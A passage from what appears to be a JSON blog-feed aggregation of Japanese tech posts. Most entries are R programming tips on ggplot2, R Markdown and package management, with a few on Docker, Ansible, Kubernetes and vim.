による強制インストールなどいろいろできる.","isoDate":"2019-02-07T00:00:00.000Z","dateMiliSeconds":1549497600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"pkgdown で作った Webサイトを引越ししたら algolia/docsearch-configs に設定変更を PR しよう","link":"https://blog.atusy.net/2019/01/25/url-change-for-algolia/","contentSnippet":"docsearch を利用すると,pkgdown で作ったページの全文検索機能を簡単に設定できる (https://pkgdown.r-lib.org/articles/pkgdown.html#search).先日 pkgdown サイトの URL を qntmap.atusy.net に変更したので,algolia も変えなきゃと思って改めて新規申し込みしてしまった.","isoDate":"2019-01-25T00:00:00.000Z","dateMiliSeconds":1548374400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Warnning: newer than the core を放置せずに pacman -Syuu しとこう (Manjaro linux)","link":"https://blog.atusy.net/2019/01/24/pacman-syuu-when-pkg-is-newer-than-core/","contentSnippet":"pacman -Syu でアップグレードした際に,Warnning: newer than the coreといった警告が出ることがあります.特に systemd などシステムに深く関連するパッケージが警告を貼っする時は pacman -Syuu して新しすぎるパッケージをダウングレードしましょう.","isoDate":"2019-01-24T00:00:00.000Z","dateMiliSeconds":1548288000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub pages から Netlify に移行 + 独自ドメイン化","link":"https://blog.atusy.net/2019/01/23/test-netlify/","contentSnippet":"これまで blog を GitHub pages 上で公開してきたが,思い立って独自ドメインで Netlify に移行した.移行のメリットは Yi Hui が語っているけれど,以下に自分にとっての理由と手順の概略を書き留めておく.","isoDate":"2019-01-23T00:00:00.000Z","dateMiliSeconds":1548201600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"べき演算のベンチマーク","link":"https://blog.atusy.net/2019/01/22/power-calc-bench/","contentSnippet":"確認のための準備bench::markbench::press手動ベンチプレス100乗: * の負け90乗: * の勝ち1000乗: 工夫すれば * も勝てるベクトルを長くしてみる @ 90乗: * が勝てるベクトルを短かくしてみる @ 90乗: : * が負ける底をデカくしてみる @ 90乗: * が勝つEnjoyべき演算をするには ^ を使うか * を使えばいいけれど,条件次第ではなんと * が勝つらしいことが分かった.","isoDate":"2019-01-22T00:00:00.000Z","dateMiliSeconds":1548115200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot で scale = free な facet の軸を調整する","link":"https://blog.atusy.net/2019/01/20/control-axes-in-faceted-plots/","contentSnippet":"はじめにfacet の基本的な例パッケージのロードscales 引数を変えた時の様子を比較全 facet 共通で xmin = ymin = 0 にしてみる任意の facet で軸の範囲をコントロールする.Enjoy!前に Tokyo.R で「ggplot2で図を並べる」と題して色々話させてもらいました.時間や難易度の都合で話し切れていない部分も多々あるのですが,今日はその中の1つを補足したいと思います.はじめにggplot2 で facet を使って図を並べる時, scales 引数を指定することでfacet ごとの軸の範囲を可変にできます.軸の範囲は ggplot2 がそれっぽく決めてくれるのですが,特定の facet について自分でコントロールしたい時はどうすればいいでしょうか.","isoDate":"2019-01-20T00:00:00.000Z","dateMiliSeconds":1547942400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot の facet ごとに共通なプロットを盛り込む","link":"https://blog.atusy.net/2019/01/20/share-data-in-facets/","contentSnippet":"はじめにfacet で表示されない部分のデータをグレーでプロットしてみるversicolor と virginica だけで facet してそれぞれの facet に setosa を表示するEnjoy!はじめにfacet を使うと以下のようにグループごとにプロットを分けることができます.しかし,グループ間の比較を行うのがちょっと辛いですね.こんな時,どうすればいいのでしょうか.","isoDate":"2019-01-20T00:00:00.000Z","dateMiliSeconds":1547942400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"base にパイプはないといつ言った?","link":"https://blog.atusy.net/2019/01/19/yet-another-pipe/","contentSnippet":"時はパイプ戦国時代.Tidyverse が覇権を握る世界線において pipe とは magrittr::`%>%` のことでしょうか.私は pipeR::`%>>%` 派ですね.他にも wrapr::`%.>%` など,色々な宗派があります.pipe の成り立ちを探る神学者たちも続々と表れております.","isoDate":"2019-01-19T00:00:00.000Z","dateMiliSeconds":1547856000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"一度に複数の変数を force する","link":"https://blog.atusy.net/2019/01/18/force-many-vars-at-once/","contentSnippet":"結論force(list(a, b, c, ...)) とすればいい.f <- function(a, b, c, ...) { force(list(a, b, c, ...)) # 先に評価したいものから list に入れる 10}f() #> Error in force(list(a, b, c, ...)) : argument \\"a\\" is missing, with no defaultf(stop(\\"a でエラー\\"))#> Error in force(list(a, b, c, ...)) : a でエラーf(a = 1) #> Error in force(list(a, b, c, ...)) : argument \\"b\\" is missing, with no defaultf(a = 1, b = 1)#> Error in force(list(a, b, c, ...)) : argument \\"c\\" is missing, with no defaultf(a = 1, c = 1)#> Error in force(list(a, b, c, ...)) : argument \\"b\\" is missing, with no default# OKf(a = 1, b = 1, c = 1)f(a = 1, b = 1, c = 1, d = 1)背景Rでは関数の引数が遅延評価されるため,引数は使わない限り評価されない“Adv. R: Lazy evaluation”).force 関数を使う.xforce を使うことで開発者の意図を盛り込もう.","isoDate":"2019-01-18T00:00:00.000Z","dateMiliSeconds":1547769600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"captioner を魔改造してみた","link":"https://blog.atusy.net/2019/01/17/enhance-captioner/","contentSnippet":"はじめに実装captioner を初期化キャプションを振る時は相互参照に利用する名前を id に流用参照する時は相互参照に利用する名前をリンクにする図をテストplot()表をテストknitr::kable()gt::gt()id付け失敗id付け成功例1id付け成功例2gt は相互参照未対応であることを確認はじめにcaptioner を使うと相互参照に未対応な Rmd フォーマットも相互参照できるようになる(rmarkdown::html_document とか pkgdown とか……).詳しくはテラモナギさんの記事を参照(captionerパッケージで図・表に対する参照(レファレンス)を取得する).","isoDate":"2019-01-17T00:00:00.000Z","dateMiliSeconds":1547683200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"S3総称関数の引数の既定値はメソッドに渡らない","link":"https://blog.atusy.net/2019/01/16/s3-generics-dont-pass-default-params-to-methods/","contentSnippet":"Error と周辺の挙動f <- function(x, n = 1, ...) UseMethod(\\"f\\")f.default <- function(x, n, ...) nf(NULL)## Error in f.default(NULL): argument \\"n\\" is missing, with no defaultてっきり f(NULL) を実行すると,既定で n = 1 だから,f.default(x = NULL, n = 1) が呼び出されるとばかり思っていた.メソッドに渡される引数は明示的に値を与えたものだけらしい.","isoDate":"2019-01-16T00:00:00.000Z","dateMiliSeconds":1547596800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"group_map などの data frame を要約する関数をベンチマーク (dplyr > 0.8.x)","link":"https://blog.atusy.net/2019/01/04/benchmarks-on-summarizing-with-dplyr/","contentSnippet":"パッケージ読み込みベンチマーク結果表Ridgeline 図箱ひげ図感想と補足Enjoy!tidyverse において,grouped data frame に対して grouping variables以外の各列に関数を適用する方法は種々ある.summarize: 関数の返り値が長さ1の時group_map: 関数の返り値がデータフレームの時nest %>% map: 関数の返り値が複雑な時基本は上述の使い分けのようだが (help(dplyr::group_map)),一応, summarize も返り値を list() してやると複雑な処理に対応できる(後述).","isoDate":"2019-01-04T00:00:00.000Z","dateMiliSeconds":1546560000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2018年振り返りと、2019年の目標","link":"https://kyohmizu.hatenablog.com/entry/2018/12/31/231740","contentSnippet":"2018年5月末から、エンジニアリングに関する様々な活動を行ってきました。\\r1年の終わりにそれらの活動をまとめ、2019年の目標を記したいと思います。\\r\\r2018年の活動\\r2018年は積極的に新しい技術へチャレンジし、勉強会を通して素晴らしい方々に出会うことができました。\\r新たに触れた技術・ツール\\r\\rGitHub\\rNode.js\\rAngular\\rGolang\\rCentOS\\rDocker\\rKubernetes\\rAzure\\rGCP\\rOWASP ZAP\\rLINE BOT/Clova\\rAgile\\rペアプログラミング/モブプログラミング\\r\\r勉強会・カンファレンス\\r\\rLINE Developer Meetup\\rde:code 2018\\rAzureもくもく会\\rng-japan 2018\\rSQL Server 2017勉強会\\rInteract 2018\\rCCSE 2018\\rThink Japan IBM Code Day\\rJXUG Xamarinハンズオン\\rCosmos DBハンズオン\\rくじらや Dockerハンズオン\\rLINE Clovaスキル開発ハンズオン\\rLINE BOOT AWARDS 2018 ハッカソン\\rGDG DevFest Tokyo 2018\\rXP祭り\\rAzureML勉強会\\rBIT VALLEY 2018\\r.NET Conf 2018\\rContainer SIG Meet-up\\rテスト管理を語る夕べ\\rAVTOKYO\\rアジャイル相談室\\rOSSセキュリティ技術の会\\rJapan Container Days\\r\\r※Japan Container Daysはスタッフとして参加させてもらいました。\\r書籍\\r読了\\r\\r徹底攻略 データベーススペシャリスト教科書\\r徹底攻略 ネットワークスペシャリスト教科書\\rショートコードプログラミング 第3版\\r新装版 達人プログラマー\\rSQLアンチパターン\\rインフラエンジニアの教科書2\\rプログラマのためのDocker教科書 第2版\\rDocker/Kubernetes 実践コンテナ開発入門\\r\\r読みかけ\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\r\\r社内の活動\\r\\r技術交流、コミュニケーション促進のためチャンネルを開設\\r社内勉強会を主催\\rモブプログラミング・ペアプログラミングを開始\\r\\r資格\\r合格\\r\\rデータベーススペシャリスト\\r\\r不合格\\r\\rネットワークスペシャリスト\\r\\r午後Ⅰが1点足りず…\\rその他\\r\\rはてなブログを開設\\rQiitaアドベントカレンダーに参加\\r\\r2019年の目標\\r7ヶ月間の活動の中で、様々な技術分野にチャレンジした結果、インフラ・セキュリティへの関心が強いことがわかりました。\\r2019年はContainerを中心にインフラのスキルを身に着け、セキュリティ分野の知見を広めていきます。\\r書籍\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\rKubernetes完全ガイド\\rハッカーの学校\\rテスト駆動開発\\r徹底マスター JavaScriptの教科書\\rドメイン駆動設計\\rハッキング・ラボのつくりかた\\r\\r資格\\r\\rLPIC Level1\\r情報処理安全確保支援士\\rネットワークスペシャリスト","isoDate":"2018-12-31T14:17:40.000Z","dateMiliSeconds":1546265860000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"モバイルファクトリーのインフラアーキテクチャというアドベントカレンダー書いてました","link":"https://blog.masasuzu.net/entry/2018/12/22/000000","contentSnippet":"ちょっと過去の話ですが、会社の技術ブログで書いてました。tech.mobilefactory.jp","isoDate":"2018-12-21T15:00:00.000Z","dateMiliSeconds":1545404400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"kubernetesにあるIngress Controller�の一覧を挙げてみる","link":"https://qiita.com/skikkh/items/c59de1f5e188d0bbeb35","contentSnippet":"はじめにIngress ControllerはL7 Load Balancerの機能を果たすものであり、Ingressリソースはそのルールを定義したものです。このIngress Controlle…","isoDate":"2018-12-17T14:21:33.000Z","dateMiliSeconds":1545056493000,"authorName":"skikkh","authorId":"skikkh"},{"title":"pacman でパッケージのインストール・ロードを簡単にする","link":"https://blog.atusy.net/2018/12/15/pacman/","contentSnippet":"pacman パッケージとはpacman パッケージの関数インストール / 読み込みを行うものその他便利関数10選needs パッケージとの比較pacman でも needs::prioritize したい?改善案GitHub 上のパッケージも NSE で指定したいCRAN 上のパッケージも GitHub 上のパッケージも同じ関数で指定したいCRAN 上のパッケージも @ でバージョン指定したいGitHub 上のパッケージも一時的な利用をしたい上記を合体させたいpacman パッケージとはR におけるパッケージ管理ツール.1","isoDate":"2018-12-15T00:00:00.000Z","dateMiliSeconds":1544832000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"furrr パッケージで R で簡単並列処理","link":"https://blog.atusy.net/2018/12/06/furrr/","contentSnippet":"インストール読み込み使い方シングルスレッド (strategy = sequential)マルチスレッド (strategy = multiprocess)コア数を変更乱数を固定プログレスバーを表示出力の型furrr パッケージを使うとpurrr パッケージのノリでモダンに並列処理ができるぞ!purrr パッケージを使ったことがない人は下記のリンクを参考して欲しい.","isoDate":"2018-12-06T00:00:00.000Z","dateMiliSeconds":1544054400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"furrr パッケージで ggplot のリストの表示を高速化する","link":"https://blog.atusy.net/2018/12/05/accelerate-list-of-ggplot-with-furrr/","contentSnippet":"はじめに実装とテストベンチマーク感想はじめに前にhoxo-m/pforeach パッケージを利用して,ggplot のリストを並列処理し,描写の高速化を行いました.しかし, hoxo-m/pforeach パッケージの霊圧が消えてしまったので,furrr パッケージを試してみることにしました.","isoDate":"2018-12-05T00:00:00.000Z","dateMiliSeconds":1543968000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本語でvimのfを使う","link":"https://qiita.com/atsuya0/items/d90bb3f4b8e538c028a9","contentSnippet":"fvimではf, F, t, Tを使うことで、瞬時に目的の文字上にカーソルを移動することができます。動作faでカーソルから右側の方向の1番近い「a」の位置に移動することができます。3faでカ…","isoDate":"2018-12-04T06:03:39.000Z","dateMiliSeconds":1543903419000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Japan.R 2018 感想","link":"https://blog.atusy.net/2018/12/02/japanr2018-joined/","contentSnippet":"Japan.R 2018 に参加しました発表の感想Long TalkR によるシステム開発入門 by @kos59125R Markdown テンプレートの作り方 by @kazutanGUI で簡単!モダンなデータ解析 by @efprime_jpShiny 完全に理解した by @Med_KULightning Talkgepuro task views 2nd by @gepuro条件付き相互作用の分析 by 太田博三DID 分析の説明 by やぎべゑcontextual パッケージでバンディットアルゴリズムの検証 by @housecat442スポーツチームでの R 活用の可能性 (ラグビーでの例を通して) by Koichi Kinoshita分析屋が福岡に移住して2年経った話 by @doradora09SagemakeR by @hiratake55Rによる分位点処置効果推定の話 by Yusuke Kanekoなんかやる(高速化周りかも) by かんこれアラサーエンジニア シティボーイ化計画 - 都会のお得物件を統計的に探してみる - by @hana_orinRcpp パッケージで外部 C++ ライブラリを使う by @heavywataldigdag で R をバッチり回す by @chengvtR で書く R コンパイラ by @igjit(仮)深層学習か画像認識で何かやります by nakamichi関数魔改造講座 (formals編) by atusyPlayer Rating with R by shrrt量子化学 (フラグメント分子軌道法) でも R したい(薬) 川嶋裕介ぼくの町の不安定 by tanaka_marimoこの IR のグラフがすごい! 上場企業2018 @ito_yanJapan.R 2018 に参加しました今回も多種多様でハイレベルな発表でしたね。個人的には自称 BeginneR 達の躍進が嬉しかったです。短期間に ggplot2 パッケージや leaflet パッケージを使えるようになって LT してくれる、これはコミュニティの情報共有の目醒ましい成果だと思います。","isoDate":"2018-12-02T00:00:00.000Z","dateMiliSeconds":1543708800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"viridisの色数","link":"https://blog.atusy.net/2018/11/25/size-of-viridis-color-palette/","contentSnippet":"viridis や cividis は、色の変化が知覚的に一様となるよう調整された、連続的なカラースケール。白黒印刷するとグレースケールになるので、プリンタにも優しい。viridis は論文がなさそうだが、 cividis は論文にもなっているようだ (https://arxiv.org/ftp/arxiv/papers/1712/1712.01662.pdf)。","isoDate":"2018-11-25T00:00:00.000Z","dateMiliSeconds":1543104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"書評 「R MarkdownでWord文書を作ろう」","link":"https://blog.atusy.net/2018/11/25/rmd-de-word/","contentSnippet":"RmdでWord本の再販が間近に迫っていますね.これは献本頂いた時にしたレビューの約束を果たす時!!Rmdでこんなに完成したWordドキュメントを作れるんだ……! と感動できるので是非.","isoDate":"2018-11-25T00:00:00.000Z","dateMiliSeconds":1543104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"`ggplot2::coord_cartesian(xlim = c(0, NA))` できるようにしてみた","link":"https://blog.atusy.net/2018/11/22/strange-coord-functions-ggplot2/","contentSnippet":"問題実装オリジナル修正版実験他のcoord_系列も問題なさそう感想PRに向けての試験的な実装.https://github.com/atusy/ggplot2/commit/26c1b7a478585889947d265d691e375e399637c3なぜかxlimやylimに長さ3以上の連続値を取れてしまうので,本来はscale_*_continuousやxlimに合わせて長さ2までに制限すべきだと思う","isoDate":"2018-11-22T00:00:00.000Z","dateMiliSeconds":1542844800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CSSでヘッダの行間を調整してみた","link":"https://blog.atusy.net/2018/11/21/mod-css-margin/","contentSnippet":"h1からh2そしてh3までの余白が以前はこんな感じで辛かった h2 h3 h2 h3 余白であって、行間ではないので、長い見出しを書いても大丈夫ですやりかたhugoを使っているので、テーマが保存されているディレクトリの","isoDate":"2018-11-21T00:00:00.000Z","dateMiliSeconds":1542758400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shinyでggplot2の選択領域を拡大 (brushOpts)","link":"https://blog.atusy.net/2018/11/21/shiny-brushopts/","contentSnippet":"Shinyでplotly.jsを使わずにインタラクティブな図を作れるのかなと思ったら、「Shiny 100本ノック」の【Shiny小技】グラフをダブルクリックすると情報が取得できる、dblclickOptsの紹介を見つけました。どうやら、 brushOpts なるものを使えば、 plot (ggplot2 を含む)の拡大ができるようなので試してみました。","isoDate":"2018-11-21T00:00:00.000Z","dateMiliSeconds":1542758400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ヒストグラムのビンの色をx軸に応じて変える","link":"https://blog.atusy.net/2018/11/20/histogram-fill-along-x/","contentSnippet":"ヒストグラムをヒートマップの凡例 + αにしたい試行錯誤の歴史データ整形ヒストグラムfill = x ではダメfill = stat(x) ならOKソース追記tl; drgeom_histogram(aes(fill = stat(x))) すればいい。ヒストグラムをヒートマップの凡例 + αにしたいから、ヒストグラムのビンの色をx軸に応じて変えたいと思った。","isoDate":"2018-11-20T00:00:00.000Z","dateMiliSeconds":1542672000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"felp 0.1.3","link":"https://blog.atusy.net/2018/11/18/felp-0-1-3/","contentSnippet":"felp 0.1.3 を 公開 しました.ようやく実用レベルになったかと思います.関数のソースとヘルプを同時に見たい人のためのパッケージです.ソースの読解が捗りますね!インストール方法devtools::install_github(\\"atusy/felp\\")使い方?print や print?. と打つだけ.","isoDate":"2018-11-18T00:00:00.000Z","dateMiliSeconds":1542499200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmdのfig.capを図を生成するチャンク内にglueで書く","link":"https://blog.atusy.net/2018/11/11/glue-for-fig-cap-in-rmd/","contentSnippet":"Rmdのchunkオプションである fig.cap の評価は,チャンクの評価が終わってからです.この性質を利用すると,チャンク内にキャプションと図を同居させることが簡単になります.","isoDate":"2018-11-11T00:00:00.000Z","dateMiliSeconds":1541894400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2のレジェンド位置を調整","link":"https://blog.atusy.net/2018/11/10/ggplot2-legend-pos-n-just/","contentSnippet":"ggplot2のレジェンド位置を変えるにはLet’s try!パッケージ基本となる図を用意レジェンド位置を数値で指定するレジェンド位置を文字列で指定するlegend.positionlegend.justificationEnjoy!ggplot2のレジェンド位置を変えるにはCookbookのChanging the position of the legendが参考になる.要は theme() を使ってlegend.position を長さ2の数値ベクトルないし\\"none\\" , \\"left\\" , \\"right\\" , \\"bottom\\" , \\"top\\" の文字列で与え,","isoDate":"2018-11-10T00:00:00.000Z","dateMiliSeconds":1541808000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"geom_histogramのビン幅を動的に決定する","link":"https://blog.atusy.net/2018/11/09/binwdith-for-geom-histogram/","contentSnippet":"TL; DRggplot2のヒストグラムはビン数30が既定ビン幅を動的に決めたいgeom_histogram(binwidth = ) に関数を指定ビン幅を決める関数を定義テストEnjoy!TL; DRgeom_histogram(binwidth = ) はデータを受け取ってビン幅を返す関数を受け付けるよ。ggplot2のヒストグラムはビン数30が既定なぜ……。調整するには bins でビン数を変えるか、 binwidth でビン幅を変える。両方指定すると binwidth が優先される。","isoDate":"2018-11-09T00:00:00.000Z","dateMiliSeconds":1541721600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"[Docker] awslogs-datetime-format の指定方法に注意","link":"https://qiita.com/toshikish/items/59a3a4426930e29f0673","contentSnippet":"[Docker] awslogs-datetime-format の指定方法に注意背景Dockerの awslogs ログドライバでは,awslogs-datetime-format オプション…","isoDate":"2018-11-07T03:23:50.000Z","dateMiliSeconds":1541561030000,"authorName":"toshikish","authorId":"toshikish"},{"title":"R起動時に不足パッケージを導入しつつ読み込む","link":"https://blog.atusy.net/2018/11/06/defaultpackages-rprofile/","contentSnippet":".Rprofileを使っていつも使うパッケージはR起動時に読み込む例えば, tidyverse を読み込みたいなら,options(defaultPackages = c(getOption(\'defaultPackages\'), \'tidyverse\'))とする.library ではなく options を利用することで,filter() で dplyr::filter() を呼ぶつもりが stats::filter() を呼んでしまうような事故を防げる.不足パッケージをインストールしたいこれは一筋縄ではいかず,私は callr::r() を使うことで解決した.","isoDate":"2018-11-06T00:00:00.000Z","dateMiliSeconds":1541462400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2で$TeX$を利用する","link":"https://blog.atusy.net/2018/11/03/tex-in-ggplot2/","contentSnippet":"はじめにインストール使ってみるタイトルなどで \\\\(TeX\\\\)geom_text で \\\\(TeX\\\\)facet_wrap や facet_grid で \\\\(TeX\\\\)Enjoy!はじめにggplot2 で \\\\(TeX\\\\) 記法が使えると嬉しいですよね.一応,そういう人たちのための入口としては expression だとか bquote だとかがあるんですが,ここでは紹介しません.いえ,毎度使い方を忘れてしまい,紹介できないというのが正しいです.","isoDate":"2018-11-03T00:00:00.000Z","dateMiliSeconds":1541203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"patchworkの表示を高速化したかった……","link":"https://blog.atusy.net/2018/11/03/accelarate-patchwork/","contentSnippet":"失敗の記録.目的ggplotのリストの表示を高速化するで紹介した通り,ggplotオブジェクトはprintされる段になって,プロットに必要な計算を行っているため,大量のggplotを行うならば,計算部分を並列化し,表示を順次行うのが効率的だ.patchworkを使ってggplotオブジェクトを並べる時も同様では……? と思い,実験したが,何故かそうはならなかった.","isoDate":"2018-11-03T00:00:00.000Z","dateMiliSeconds":1541203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2とpatchworkで周辺分布","link":"https://blog.atusy.net/2018/11/02/marginal-patchwork/","contentSnippet":"patchworkパッケージを使えばあんな図やこんな図が簡単に,と思い馳せた人も多いのではなかろうか.参考: TokyoR 73での発表スライド中でも周辺分布を自由に綺麗に,と思ったのは私だけではないはず.","isoDate":"2018-11-02T00:00:00.000Z","dateMiliSeconds":1541116800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RmarkdwonのYAMLフロントマターで\\ntitleとか\\nauthorとか\\n改行する","link":"https://blog.atusy.net/2018/10/27/linbreaks-in-yaml-front-matter-of-rmd/","contentSnippet":"@niszet0 さん著「R MarkdownでWord文書を作ろう」を読んでます。Rmdを扱った商業誌にも、同書ほどRmdファイルのYAMLフロントマターの書式を丁寧に書いている本はないのではないだろうか。使えれば良いというスタンスだったのもあって、YAMLのフロースタイルとか、始めて学びました。しかし、これだけ詳しく書いてあるのに改行のことに触れられていないな、とふと。","isoDate":"2018-10-27T00:00:00.000Z","dateMiliSeconds":1540598400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Plotlyで軸比を1:1に固定する","link":"https://blog.atusy.net/2018/10/26/plotly-fixed-axes/","contentSnippet":"今迄Plotly.jsを使いたい時は、元の図を ggplot2 パッケージで作成し、 plotly::ggplotly() で変換していた。しかし、どうもパフォーマンスが悪い気がするので、Plotlyネイティブに書いてみようと思った。","isoDate":"2018-10-26T00:00:00.000Z","dateMiliSeconds":1540512000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown で PlantUML","link":"https://blog.atusy.net/2018/10/25/plantuml-on-rmd/","contentSnippet":"@niszet0 さんの “R MarkdownでWord文書を作ろう” を摘み食いしてます (以下RmdでWord本).ちゃんとしたいずれレビューはいずれするとして,気付いたところを少しずつメモしていきたい.","isoDate":"2018-10-25T00:00:00.000Z","dateMiliSeconds":1540425600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"結婚式で使った楽曲","link":"https://blog.atusy.net/2018/10/22/bridal-music/","contentSnippet":"9/29に結婚式を挙げました。なんとこの日は私の愛すDo As Infinityのデビュー日。ゆかりんが登場したことで、一部が騒然(?)としましたが、Do As Infinityメドレーなど、私の趣味全開です。","isoDate":"2018-10-22T00:00:00.000Z","dateMiliSeconds":1540166400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"TokyoR 73 行ってきました","link":"https://blog.atusy.net/2018/10/21/tokyor73/","contentSnippet":"2018年10月20日はJuliaなんちゃらやらなんやらと沢山の勉強会が同時開催された日だったらしいですね。私はTokyoR 73を選んで「ggplot2で図を並べる」と題して facet_grid() 、 facet_wrap() 、 patchwork パッケージについて作例交えて話してきました。","isoDate":"2018-10-21T00:00:00.000Z","dateMiliSeconds":1540080000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplotのリストの表示を高速化する","link":"https://blog.atusy.net/2018/10/16/accelerate-list-of-ggplot/","contentSnippet":"大きなデータを用いたggplotのリストや,大量のggplotのリストを高速に描写するための関数 print_gglist を作りました.devtools::install_github(\'atusy/ggAtusy\')で遊べます.はじめにggplot2パッケージで作成したプロット (ggplotオブジェクト) はprintされる段になって,プロットに必要な計算を行っている.","isoDate":"2018-10-16T00:00:00.000Z","dateMiliSeconds":1539648000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Antergos導入","link":"https://blog.atusy.net/2018/10/11/hello-antergosmd/","contentSnippet":"自宅用PCにAntergosを導入しました.ppaを足すも.debや.tar.gzを落とすもなんかかったるくなってAURが楽しそうなArchlinux系列を試すことにしました.","isoDate":"2018-10-11T00:00:00.000Z","dateMiliSeconds":1539216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ローカル環境でAnsibleの鍵交換がめんどくさい貴方に送るプラクティス","link":"https://qiita.com/skikkh/items/ca236c512d314691b35c","contentSnippet":"はじめに平成の時分も終わりに近づく中、野分立ち尽くす天災に人々は翻弄され、お家で過ごすのを余儀なくされる日が多いように思います。^1今日のような一日は、自然とQiitaにたどり着き、PVが増…","isoDate":"2018-09-30T09:33:37.000Z","dateMiliSeconds":1538300017000,"authorName":"skikkh","authorId":"skikkh"},{"title":"新人が学ぶAnsibleもくもく会 ネットワーク編 報告会","link":"https://qiita.com/skikkh/items/156c677e07ffc6b5b4ef","contentSnippet":"はじめにお久しぶりのエントリになります。新卒でインフラエンジニアをしている小心者のひよこです。このような職種に身をおいてはや5ヶ月というところで、世の中を幅広く見渡してみると、どうやら世は大…","isoDate":"2018-08-29T14:34:09.000Z","dateMiliSeconds":1535553249000,"authorName":"skikkh","authorId":"skikkh"},{"title":"roxygen2タグまとめ","link":"https://blog.atusy.net/2018/08/28/roxygen2matome/","contentSnippet":"まとめTips@title、@description、@details について@importFrom、@seealso について@examplesをcheckしたくない時if (interactive()) {}でコードを囲む\\\\dontrun{}でコードを囲むその他References変更履歴Roxygen2のタグについての情報が複数箇所に分散していて調べるのが大変なのでまとめた。","isoDate":"2018-08-28T00:00:00.000Z","dateMiliSeconds":1535414400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"欠損値の発生過程の類別","link":"https://blog.atusy.net/2018/08/25/missing-value-type/","contentSnippet":"先日、欠損値の発生過程の例を図示してTweetしたところ、思ったより反響がよかったので、図をブラシュアップの上、記事に残すことにした。俄仕込みなので、間違いがあったらTwitterで指摘して下さい。","isoDate":"2018-08-25T00:00:00.000Z","dateMiliSeconds":1535155200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmdでchunkごとの実行時間を計測","link":"https://blog.atusy.net/2018/08/18/time-each-chunk/","contentSnippet":"Jupyter Notebookでは、コードブロック冒頭で %%timeit と唱えると、ブロックの評価に要した時間を表示できる。https://jakevdp.github.io/PythonDataScienceHandbook/01.07-timing-and-profiling.htmlこれをRmdでもできないかなー? と思って knit_hooks() を利用してみた。knit_hooks() の使い方の詳細はこちら。","isoDate":"2018-08-18T00:00:00.000Z","dateMiliSeconds":1534550400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"パラメータ付きRmdを試す","link":"https://blog.atusy.net/2018/08/17/rmd-parameterized/","contentSnippet":"パラメータ付きRmdが便利そうだと思ったのでメモと実験パラメータ付きRmdとはYAMLヘッダーの params で作成される変数のリストを用いたRmdうまく使えばYAMLヘッダーさえ弄ればOKな半自動レポーティングの助けになると思われる。","isoDate":"2018-08-17T00:00:00.000Z","dateMiliSeconds":1534464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R3.5系ではファイル同期ソフトでパッケージを同期しないように","link":"https://blog.atusy.net/2018/07/31/dont-sync-pkg-r3-5/","contentSnippet":"タイトル通り、R3.5系ではファイル同期ソフトでパッケージを同期しないようにしましょう。同期しておくとある環境にインストールしたパッケージを他の環境でもすぐさま利用できて便利だったのですが……。","isoDate":"2018-07-31T00:00:00.000Z","dateMiliSeconds":1532995200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"xetexでunicode文字","link":"https://blog.atusy.net/2018/07/09/xelatex%E3%81%A7utf8%E6%96%87%E5%AD%97/","contentSnippet":"$\\\\LaTeX{}$ で μ や α など特殊文字を直打ちすると、XeTeXを使っている場合は、\\\\setmainfont{IPAMincho}など、ユニコードに対応したフォントを使うように指定する。","isoDate":"2018-07-09T00:00:00.000Z","dateMiliSeconds":1531094400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub pages with 